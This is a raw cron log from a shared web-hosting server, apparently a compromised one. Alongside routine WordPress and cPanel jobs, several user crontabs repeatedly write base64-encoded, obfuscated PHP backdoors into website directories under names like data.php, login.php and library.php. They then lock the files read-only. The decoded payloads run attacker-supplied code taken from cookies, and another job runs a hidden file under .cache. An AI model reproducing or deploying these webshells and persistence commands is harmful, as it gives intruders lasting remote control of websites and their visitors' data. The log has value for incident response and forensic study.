Mar  1 11:16:02 medusa CROND[24763]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:16:02 medusa CROND[24765]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:16:02 medusa CROND[24760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:16:02 medusa CROND[24772]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:16:02 medusa CROND[24767]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:17:01 medusa CROND[14977]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:17:02 medusa CROND[15056]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:17:02 medusa CROND[15057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:17:02 medusa CROND[15058]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 11:17:02 medusa CROND[15059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:17:02 medusa CROND[15063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:17:02 medusa CROND[15066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:17:02 medusa CROND[15065]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:17:02 medusa CROND[15077]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:17:02 medusa CROND[15082]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:17:02 medusa CROND[15083]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:17:02 medusa CROND[15076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:17:02 medusa CROND[15070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:18:01 medusa CROND[4858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:18:01 medusa CROND[4859]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 11:18:01 medusa CROND[4860]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:18:01 medusa CROND[4861]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:18:01 medusa CROND[4864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:18:01 medusa CROND[4865]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:18:01 medusa CROND[4867]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:18:01 medusa CROND[4870]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:18:01 medusa CROND[4869]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:18:01 medusa CROND[4871]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:18:01 medusa CROND[4873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:18:01 medusa CROND[4876]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:18:01 medusa CROND[4890]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:18:01 medusa CROND[4896]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:19:01 medusa CROND[26876]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:19:01 medusa CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:19:01 medusa CROND[26880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
